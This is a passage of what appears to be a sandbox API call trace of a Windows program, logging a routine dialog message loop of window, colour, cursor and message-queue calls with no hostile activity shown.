[0046.193] GetWindowLongPtrW (hWnd=0x901e4, nIndex=-21) returned 0x3 [0046.193] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x3, lParam=0xe0d659edf0) returned 0x0 [0046.193] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.193] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0x6d01081f, lParam=0x0) returned 0x1 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.193] SetBkColor (hdc=0x6d01081f, color=0xf0f0f0) returned 0xffffff [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x318, wParam=0x6d01081f, lParam=0x4) returned 0x0 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.193] SetBkColor (hdc=0x6d01081f, color=0xf0f0f0) returned 0xf0f0f0 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.193] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.194] GetWindowLongPtrW (hWnd=0x7011c, nIndex=-21) returned 0x7 [0046.194] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x7, lParam=0xe0d659edf0) returned 0x0 [0046.194] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.194] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.194] GetWindowLongPtrW (hWnd=0x7011c, nIndex=-21) returned 0x7 [0046.194] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x4e, wParam=0x7, lParam=0xe0d659edf0) returned 0x0 [0046.194] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.194] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.194] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.194] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.194] GetWindowLongPtrW (hWnd=0xd0020, nIndex=-21) returned 0x8 [0046.194] GetWindowLongPtrW (hWnd=0xd0020, nIndex=-21) returned 0x8 [0046.194] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.194] GetWindowLongW (hWnd=0xd0020, nIndex=-16) returned 1342179332 [0046.194] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.194] GetSysColor (nIndex=8) returned 0x0 [0046.194] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0046.194] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xffffff [0046.194] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.194] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x14, wParam=0x3c0107ef, lParam=0x0) returned 0x1 [0046.194] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.194] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.194] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.194] SetBkColor (hdc=0x3c0107ef, color=0xf0f0f0) returned 0xffffff [0046.194] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.194] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x318, wParam=0x3c0107ef, lParam=0x4) returned 0x0 [0046.195] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.195] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.195] GetWindowLongPtrW (hWnd=0xd0020, nIndex=-21) returned 0x8 [0046.195] GetWindowLongPtrW (hWnd=0xd0020, nIndex=-21) returned 0x8 [0046.195] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.195] GetWindowLongW (hWnd=0xd0020, nIndex=-16) returned 1342179332 [0046.195] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.195] GetSysColor (nIndex=8) returned 0x0 [0046.195] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0046.195] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xffffff [0046.195] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.195] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.195] GetWindowLongPtrW (hWnd=0xd0020, nIndex=-21) returned 0x8 [0046.195] GetWindowLongPtrW (hWnd=0xd0020, nIndex=-21) returned 0x8 [0046.195] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.195] GetWindowLongW (hWnd=0xd0020, nIndex=-16) returned 1342179332 [0046.195] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.195] GetSysColor (nIndex=8) returned 0x0 [0046.195] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0046.195] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xf0f0f0 [0046.195] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.195] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.195] GetWindowLongPtrW (hWnd=0xd0020, nIndex=-21) returned 0x8 [0046.195] GetWindowLongPtrW (hWnd=0xd0020, nIndex=-21) returned 0x8 [0046.195] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.195] GetWindowLongW (hWnd=0xd0020, nIndex=-16) returned 1342179332 [0046.195] GetSysColor (nIndex=15) returned 0xf0f0f0 [0046.195] GetSysColor (nIndex=8) returned 0x0 [0046.195] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0046.195] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0xf0f0f0 [0046.196] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.196] TranslateMessage (lpMsg=0xe0d659f650) returned 0 [0046.196] DispatchMessageW (lpMsg=0xe0d659f650) returned 0x0 [0046.196] GetForegroundWindow () returned 0x50216 [0046.196] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.196] GetCursorPos (in: lpPoint=0xe0d659f4b0 | out: lpPoint=0xe0d659f4b0*(x=526, y=541)) returned 1 [0046.196] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659f4b0 | out: lpPoint=0xe0d659f4b0) returned 1 [0046.196] GetAsyncKeyState (vKey=1) returned 0 [0046.196] GetAsyncKeyState (vKey=2) returned 0 [0046.196] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.197] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.197] CreateAcceleratorTableW (paccel=0xe0d67fa630, cAccel=1) returned 0x70127 [0046.197] GetForegroundWindow () returned 0x50216 [0046.197] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.197] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.197] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.197] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.197] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.197] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.197] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.197] Sleep (dwMilliseconds=0x0) [0046.198] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.199] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.199] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.199] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.199] Sleep (dwMilliseconds=0x0) [0046.201] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.201] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.201] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0046.201] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.201] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0046.201] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.201] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0046.202] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.202] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.202] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.202] Sleep (dwMilliseconds=0x0) [0046.202] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.202] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.202] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.202] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.202] Sleep (dwMilliseconds=0x0) [0046.202] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.202] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.202] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.203] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.203] Sleep (dwMilliseconds=0x0) [0046.210] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.210] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.210] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.210] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.211] Sleep (dwMilliseconds=0x0) [0046.211] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.211] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.211] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.211] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.211] Sleep (dwMilliseconds=0x0) [0046.211] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.211] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.211] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.211] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.211] Sleep (dwMilliseconds=0x0) [0046.211] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.212] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.212] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.212] TranslateAcceleratorW (hWnd=0x50216, hAccTable=0x70127, lpMsg=0xe0d659f650) returned 0 [0046.212] TranslateMessage (lpMsg=0xe0d659f650) returned 0 [0046.212] DispatchMessageW (lpMsg=0xe0d659f650) returned 0x0 [0046.212] GetForegroundWindow () returned 0x50216 [0046.212] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.212] GetCursorPos (in: lpPoint=0xe0d659f4b0 | out: lpPoint=0xe0d659f4b0*(x=526, y=541)) returned 1 [0046.212] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659f4b0 | out: lpPoint=0xe0d659f4b0) returned 1 [0046.212] GetAsyncKeyState (vKey=1) returned 0 [0046.212] GetAsyncKeyState (vKey=2) returned 0 [0046.212] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.212] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.212] Sleep (dwMilliseconds=0x0) [0046.212] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.212] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.212] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.212] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.213] Sleep (dwMilliseconds=0x0) [0046.213] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.213] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.213] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.213] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.213] Sleep (dwMilliseconds=0x0) [0046.213] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.213] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.213] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.213] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.213] Sleep (dwMilliseconds=0x0) [0046.213] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.214] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.214] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.214] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.214] Sleep (dwMilliseconds=0x0) [0046.214] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.214] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.214] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.214] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.214] Sleep (dwMilliseconds=0x0) [0046.214] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.214] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.214] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.214] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.215] Sleep (dwMilliseconds=0x0) [0046.215] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.215] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.215] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.215] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.215] Sleep (dwMilliseconds=0x0) [0046.215] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.215] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.215] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.215] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.215] Sleep (dwMilliseconds=0x0) [0046.216] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.216] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.216] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.216] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.216] Sleep (dwMilliseconds=0x0) [0046.216] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.216] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.216] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.216] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.216] Sleep (dwMilliseconds=0x0) [0046.216] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.216] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.216] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.217] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.217] Sleep (dwMilliseconds=0x0) [0046.217] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.217] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.217] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.217] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.217] Sleep (dwMilliseconds=0x0) [0046.217] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.217] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.217] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.217] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.217] Sleep (dwMilliseconds=0x0) [0046.218] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.223] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) 